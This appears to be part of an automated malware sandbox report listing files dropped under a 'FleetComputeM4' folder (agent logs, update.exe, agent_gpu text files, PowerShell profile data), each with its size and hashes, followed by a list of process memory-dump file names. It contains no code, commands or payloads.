T1C641ACD6B14B851D7AB27F31D1D3D7D0CAA68012ED6AC0F5F1B5932B040825B4EA34B7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 71a61b8e118f0f9961dcf0b0610166fb0dbc6f150aa34cf5e1284afd5505ea78
MD5 e859eb41caf5f374211055ed062cbc10
SHA1 d7a870ae97f354fd7b79a2d18f81243a4820f066
SHA512 3ba986488e0c22fee3c5a356dc31bcbc80fae1ba781acc636ed7cfe91f0e750c30ca09af467c69c904079c2cb5240391e7d83248d8247970058f4fa99eb2a6e4
TLSH
T1D741ABD2B14B851D79B27F31D1D3D7D0CAA58012EE6A80F5F1B5532B080825B4EA34B7
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 2KB
SHA256 50d00f67c440f12b5955a29d4ac051d806716877bc029ff93824e41c00f5bf2e
MD5 95d3d3a3a46def65fc9b2a29ba17401e
SHA1 f3078743a0e6b67ca2edc7769998777f1bf912b0
SHA512 c8b2deddd31134a71040f3f4cb850cceb38b56f8777d0ab758549db311393cf0e6c572be0c7dbce842df253a58cc85050038aa834befb9dda98ecd28ecd32dc3
TLSH
T1FE41CED2B14B855EBAB27F30D1D3D7D0CAA58012ED6AC0F9E1F5532B080825B4E97477
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 575B
SHA256 c25a2054ae450779603083ca228e22e19ca65f0804f56d430d44c83978212519
MD5 ed5f48b16d1e02c7caf463a09ce5383f
SHA1 a70ccc7d80f210cd8d959c70a67fb8051a1444b0
SHA512 e9aa50db6ae340b48eda522a7384aa8c3a6077cb521bc8c7b5e43fdc502c7557045bfedf8d2de6c55c2ad3b487ab408f0476b59562518dc260394ccf37b4cbfb
TLSH
T186F040D1B28B402E3C32273212FBE6D448B84827CEC895F0A2E1E22700184270FCA933
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 668B
SHA256 a71bcddd9b25d73f3eaa786175caf3fa209effb67179821fe00215d7eaf269f6
MD5 da2fc6eb933fa289b30a8c25abbe628a
SHA1 d1f1f5842722debd4ef070752ddb1a5b65e3cb46
SHA512 04b17357a203af68da812174d5039f90c3adc03c67590c6d29c9a434e48ddf6f17fb44245f34cdda15b231beb20792c6da8bd7110596413ae662fd618366aa88
TLSH
T11A0149C1B28B406E3C72673222F7E6C589BC4427CED891F4A2F1E21B00185270FD6973
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 789B
SHA256 52ce351bce43a858d68dd7cdbe669ffcabece5061cbb4e96fcd19525305196ee
MD5 17ff2d5b6a8b6b3e37bce0982d0648c3
SHA1 fe4ffe446f4bda3bb0562cf64794e9722d08c2a5
SHA512 1f031f3071dd590a05351e86ae0bc84a1d37ac1eb8b41daa93cab66a9751d3bba9e0bca6bd897520eb6911e5acdb606655cb11af7e128ea66045ef312ed28bf2
TLSH
T1700168C1B28B406E3C76677222E7D6D089B88457CEC991F0E2F1D22700585270FD6833
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 827B
SHA256 639b5430bb3fc28386c736ec3203cbf61666e6968dbb8541e8fcb223b8c41c0c
MD5 b36eeb42727de215c1f2d01289f6b15f
SHA1 201ee0e82921780e8119bfa6efaecb0dbe5d7d40
SHA512 288a7c0a49a17a4d22f169f569171dbe772fcae3f922571d57a4b6bda0dd098666fd8bd1917b3ff2f0e3fd48e3a9a2b88a2c80be34f619394f32de62abb80764
TLSH
T1E20149C1B287406E3C76677252E7D6D089788457CE9991F4E2F5D22B00545270ED6877
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 865B
SHA256 6d464b610dc67750b6a88b268dcb06c2142ad683d770e923f8d54d008f910a60
MD5 bae77564e0fdb95dfa8141f65ecb1cc9
SHA1 42749b0514d736eab00b925d04810f4c6eea172c
SHA512 e8b32e0498720d42866e27174c3c4d68289bf556e622ed32865ba9db5190a9f62b3b3df3acf3616d1a9996d15eb89b3dce1b0fe0b97da65cb3c4bc62805d6e92
TLSH
T1581166C1B287806E3C766B3256E7E7D08A788417CE9992F4E2F5E32B00544270ED6877
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 907B
SHA256 bdf213dab01b10e7513f11a410ed05983a2e9e52f83ce3deb75d560e41f41a44
MD5 973f73cf2ac800eda5a024d295087418
SHA1 de30160f1b1ca64d94cad4db5e4ead48febea912
SHA512 b2b1606271c2fb7c24d78308fd6b2405344c02d2db82db5fb4b4a3a0bb0be777e7968b45addf914d414e365bd14ab55be1a6d0917be262c7ffbfd9a9cb9d1a14
TLSH
T1011155C0B287401E7CB26B3256E7D7E08A788022CE9992F0E2F5E32B00544230ED68B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 8bf7da00beaa7b28b4e8c2ffc8eb1cb0b74842f71971bc5355a48f28a9c00b87
MD5 658e9909c31cb4e281afc8c90e2260e1
SHA1 5a64747296c3869433f2dfa53cc83258efbde695
SHA512 1ee60f0ccbcfcfbb02978710845523b7a25e628e3fb4d675c6516f7e59fc071f3e75d9b7ac2287cde0cde872636ecdabc0894e8584a6a110cbe8dbcd97fbccdc
TLSH
T1302180D1B18B415E7CB2AB3245E7DBD0D6B9C026CE9D51F1E1F6932B00540630EE68B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 247B
SHA256 40b91bafa0c3fa5511fce73f8932bd036877e06b74ae5897bdf4fe3b12b0cba5
MD5 e69a1c960ace3cd1140a8e76bdfc2bb9
SHA1 b15309d8ef929d79c132d68b9bee2c88f95ec690
SHA512 3718ab287b4257eea7742a1af664562bf87c7935c8cfaae32ba5f23f7e9d4fb80327f077e0ae1d6cecf184ce1e724693b544588f1105b212ee7399670e95c84f
TLSH
T10CD05E91F1CB80683C39937307BBEAC855EC09495F4E69F4AB91C83A149480B598741B
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 0193a02721ee4eee60373efb8999ffea5aa3f9629d831611dd9d041fb141e651
MD5 c14be13e811ec08a073e447dd5af03e5
SHA1 f8d81b891e2eac854c7390d9fa5b981c4c52e028
SHA512 ad05641a7e1aa75cad67444b0126e4187307cf5ce1abec915fb1afa89c68e0bed55d8eb56132260b31273f23caeac11732d80350c37884b69eaad1191abea427
TLSH
T16D219ED1B18B415E7CB27F3185E3DBD0DAA9C026CD9E41F2E1B1A32B00440A30EE68B3
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 4896a0ecaa00753c45fa5d1eedc07e1de897c01091543de673eb594137fe5d65
MD5 aff35c40fe879a054b280288de29c56d
SHA1 902d9b0bbe3810e2606abafe11dc7beea03a8dba
SHA512 5b0d0e3759323522e02358f204d4e6029659b35de3e7f001ccd957cd59263e069ed0b25af99d32aeaf77816faf47dc3bd4331e8a070b39f3c8fa3e103a7929e5
TLSH
T1272149D1B14B515E7CB27F31C6E7D7D0DAA5C422CD9E41F2E1B1A72B00440A30EE6972
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 9e7fd0d6263532dd8c610c9cd40a03b6009b5478f9ba2ec1d58c0a0e91cb487c
MD5 ec723b94311947f10ed1bbb104a6fac9
SHA1 c91798fb01382192e39767fe9a0205737140a2ee
SHA512 b146850089d1397d20e0e6c32f48f6f89ed141e2bdb3fef6d1a7bf2cf53dde99e1ee162defe4c75121e67c2aa515d672b32307cbb69783db9a1b136b8e14481d
TLSH
T13D2148D1B14B515E7CA27B31C5E7D7D0D9A58422CD9E81F2E1B1A72F00440A34EE2872
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path C:\Users\Admin\AppData\Local\FleetComputeM4\logs\agent.log
Size 1KB
SHA256 a5a9985ba02cc6f0ad5395d0c6352e4e728572c695e76950d0fa4f914525bb94
MD5 3339cde0f9446f5cea7e5889edcd6285
SHA1 a0d5abce97f5edd553aa63c500d1a00a1f8e19a9
SHA512 122ba0a9cc1c7bcff24fe02368b0bd0dd7b5104ab067425697da9a3d5a6e8d8c11a243d0c656237a6ac56f56f45b3d95ec92bca883167e1b72960ad23f249afc
TLSH
T1BE2159D1B14B515E78A27F31C5E7DBD0D9A58422DD9E81F2E1B1A72F00040A34EE68B2
MD5 SHA1 SHA512 TLSH

Submit Download

update.exe

Path C:\Users\Admin\AppData\Local\FleetComputeM4\update.exe
Size 497KB
SHA256 59e42a51c349673e37a77459c054e196fe88bae512be6235f87297c3e62c1f15
MD5 499523c297a67ac534cbe545ceda4990
SHA1 b2f41b37f23cacca7f449c75f0f81537c34b05d2
SHA512 ab9f544fcc7fe1ab1bdf4fe7b94ea8bd7ba02817110f4423db2267563c37f41f10323fc3d2345e53af6c7feba155899cd39cb51ed841f05e346b73c0fca90dbd
SSDEEP 3072:3BvmLhmm7H89r/1j1dPoGWvrXS6p0wFAxLPTuWGX+ceu+F+ScADcAV:3lahEVdj1divn+dTuWWex
TLSH
T194B420065E0BC8DDEBA2947460FBC4F492317D8C49E5908E6CD7B7E8A17C06E2167D2B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 88aa11679e1785a973ea5808922c5fbaee8a11120034912ac5d3d3feaeea26c3
MD5 ca8e80c41ae51a421a292c0ce0b4dc00
SHA1 691c4294a6891de35bb880854aecbf35b6541f11
SHA512 6f2c528b8f8576e623226bf5e86d91eb218f02a6f2ba4c2c9619ecc0f2b132fce8884e6eac994cf215a93be1b1bb57ec1417e8afd2264f79a8be5c460cd69cdc
TLSH
T165219733B3DC8215CC99413A10CEAC1032BAC3CB809ECF9B7B84E255A42F6A9CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_nzawycuf.fmj.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_nzawycuf.fmj.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu3.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu3.txt
Size 40B
SHA256 602dbbf4f8544fcc0676bafff15c4917ad8ae7db7f704d69b785749079262260
MD5 5899743b8ccb65ed2eca76a6a9215413
SHA1 b7b5e5b60ba8b0b78843c39f28e773cfe2bed8c9
SHA512 b50e80e46e15d6c62498165aa9194adb0fc80096e2d252c468255b76069d06cc7439658d2f393b172e6f07decffa3a4e5b214bff225a838029404d481b1096c8
MD5 SHA1 SHA512

Submit Download

agent_gpu4.txt

Path C:\Users\Admin\AppData\Local\Temp\agent_gpu4.txt
Size 43B
SHA256 c62ab326b8361707c05e3602dc2fcc36f90e3d47f6c260a361640b1d18d2f645
MD5 cf692509f242c9f29ad15e735d2843d7
SHA1 d70f0c7dad8efc1997178328978af344f5244ba0
SHA512 d354661bcdd45891d8c81157cee4c01a6d029a940d020f5bcf1dfefd01414afcb7a517973810134cbcc42178a790ec9d601e73b59c8ff7881295ab650f414dfe
MD5 SHA1 SHA512

Submit Download

agent_gpu1.txt

Path C:\Windows\TEMP\agent_gpu1.txt
Size 152B
SHA256 136d94dfb544f0e1b7aa03e61af0c8d7c4e37c427963e3b157d1bf8c5fff4ac5
MD5 eac478794518a12c1bda38d9864489cc
SHA1 60a6ef2e33ecce698347bbc7f72c4c58a6c126d9
SHA512 9a2685189fb296a78c826f9993ee6740a01d67e60e221f8d6dd20458773814fd4f0e3487d6ebf0406131fc646c46983967b01a1b7a8785ccdd87d86979fd9d89
TLSH
T17DC04C1B72DD0114F0A2938583F1447757153964947D559D60C6174755F0D0166466DB
MD5 SHA1 SHA512 TLSH

Submit Download

agent_gpu2.txt

Path C:\Windows\TEMP\agent_gpu2.txt
Size 72B
SHA256 702bc2eaaede7b87f9ee1dcaea888d78b17cd1526c016695ed39e384588e8f66
MD5 723c7a3cf8b9a1feaefa8a05aaba4a95
SHA1 04ef73855160ee4ae5c86e0b0751bc38a6d7d256
SHA512 d3514fe8ea5bd0323f17370e9bf9191b22d713c70a3cfac3b0ae8528189072ea1b09d78f278181d5d2a225d481094e6a04fbf047e9cd0cd843d4b296919a35ec
TLSH
T1D8A022020008E20C08838B00F0B20A08E3F2E230020800CC3B83B80F0F8202C238A0B8
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 6012073356fddf311f25b9f9ca8f42320d1d3245f9b67884b35f9835de71b317
MD5 a30c6137d60c836084cc7eaafddcc190
SHA1 4cc186091bdbe2cb0dfe912b69b94418897b56a7
SHA512 6e1e2232a031f1998c1f61f731766bf74897a681d1e7592fa8fe63e4f5c3576012316e7a4aeecf507bd6489776cdea4911b4dc71e381a10d5c0f287526431c4e
TLSH
T1EF219A37B3DC8210CC99413A10CDAC1036B6C7DB409ECF9B7B84D255A82F699CF61160
MD5 SHA1 SHA512 TLSH

Submit Download

memory/676-82-0x000001FFDE4F0000-0x000001FFDE5A2000-memory.dmp

Download

memory/676-84-0x000001FFDE280000-0x000001FFDE29E000-memory.dmp

Download

memory/696-169-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/696-156-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/2680-129-0x00007FF7CD960000-0x00007FF7CDA08000-memory.dmp

Download

memory/2900-124-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download

memory/3188-60-0x000001C552E50000-0x000001C552E5A000-memory.dmp

Download

memory/3188-53-0x000001C552E70000-0x000001C552E92000-memory.dmp

Download

memory/3188-61-0x000001C553300000-0x000001C55332A000-memory.dmp

Download

memory/3372-150-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/3372-155-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/3372-171-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/3440-190-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/3772-62-0x0000025229AF0000-0x0000025229B14000-memory.dmp

Download

memory/3772-57-0x0000025229A30000-0x0000025229AE2000-memory.dmp

Download

memory/3772-56-0x00000252299B0000-0x00000252299CE000-memory.dmp

Download

memory/4128-153-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download

memory/4128-130-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download

memory/4128-182-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download

memory/4128-132-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download

memory/4656-138-0x00007FF792A20000-0x00007FF792AC8000-memory.dmp

Download

memory/4656-131-0x00007FF792A20000-0x00007FF792AC8000-memory.dmp

Download

memory/4736-157-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/4840-189-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/4868-114-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download

memory/5144-184-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/5144-191-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/5284-27-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download

memory/5564-166-0x00007FF715E30000-0x00007FF71A8A1000-memory.dmp

Download

memory/5880-22-0x00007FF7414B0000-0x00007FF741558000-memory.dmp

Download